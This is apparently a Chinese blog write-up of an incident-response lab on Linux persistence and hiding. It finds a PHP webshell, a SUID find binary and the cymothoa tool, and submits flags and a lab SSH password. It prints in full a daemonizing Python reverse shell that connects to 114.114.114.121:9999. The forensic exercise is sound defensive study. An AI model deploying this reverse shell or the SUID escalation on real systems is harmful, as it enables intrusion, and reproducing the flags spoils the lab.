第三章 权限维持-linux权限维持-隐藏

文章发布时间:

最后更新时间:

文章总字数:
923

预计阅读时间:
4 分钟

页面浏览: 加载中...

简介:

ssh root@env.xj.edisec.net -p 密码 xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.

黑客隐藏的隐藏的文件,完整路径md5

发现存在网站目录,grep -rnw *.php -e "eval"简单查找一下,发现 sh.php 一句话木马

image

接下来我们去网站的 access.log 日志定位该文件,可惜看不到 POST 传输的数据,题目没有提供流量包,只能继续排查了

image

find /tmp -type f -perm /111 2>/dev/null排查 /tmp 目录下的可执行文件,发现隐藏进程的工具 libprocesshider ,发现 该目录下的 1.py 有执行权限,故该文件就是黑客隐藏的文件,flag{109ccb5768c70638e24fb46ee7957e37}

image

image

image

2.

黑客隐藏的文件反弹shell的ip+端口 {ip:port}

查看刚刚发现的1.py ,其内容为反弹shell的操作,flag{114.114.114.121:9999}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)

while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
sdregs.close()
except Exception:
pass
time.sleep(2)

3.

黑客提权所用的命令,完整路径的md5 flag{md5}

先检查一下sudo的配置 /etc/sudoers ,没有发现问题

image

那么就要考虑到SUID提权,命令find / -perm +4000 -ls 2>/dev/null查询具有SUID位的程序,这里的 find 很醒目,一般来说是不会给find命令设置SUID位的,可以利用find很容易的提权到高权限的shell,flag{7fd5884f493f4aaf96abee286ee04120}

image

image

4.

黑客尝试注入恶意代码的工具完整路径md5

苦思不得其解,偷看眼巨魔师傅的WP学了学,一般黑客用的工具会放在隐藏目录或者隐藏文件,我们find / -type f -name ".*" -ls 2>/dev/null |grep -v "\/sys"先排查一下隐藏文件,没有值得注意的有执行权限的文件

image

find / -type d -name ".*" -ls 2>/dev/null排查隐藏的目录,注意到 /opt/.cymothoa-1-beta 目录有点可疑,cd进去具体查看,可以看到明显的特征,几个可执行文件都试下就可知,flag{087c267368ece4fcf422ff733b51aed9}

image

image

image

5.

使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

我真的没法理解这个题目的题意,搜也搜不到相关的知识点,看了其他好几个WP,感觉也不太明确,暂且存疑。

按照答案推测思路,我首先执行了1.py这个文件,然后ps -ef |grep 1.py查看了进程pid,后进入进程具体目录,查看exe指向的程序是 /usr/bin/python3.4,猜测题目的意思就是这个值吧,flag{/usr/bin/python3.4}

1
2
3
4
5
6
root@xuanji:~# python3 /tmp/.temp/libprocesshider/1.py
root@xuanji:~# ps -ef |grep "1.py"
root 22658 1 0 16:41 ? 00:00:00 python3 /tmp/.temp/libprocesshider/1.py
root 22858 416 0 16:41 pts/0 00:00:00 grep --color=auto 1.py
root@xuanji:~# ll /proc/22658/exe
lrwxrwxrwx. 1 root root 0 Jan 14 16:42 /proc/22658/exe -> /usr/bin/python3.4*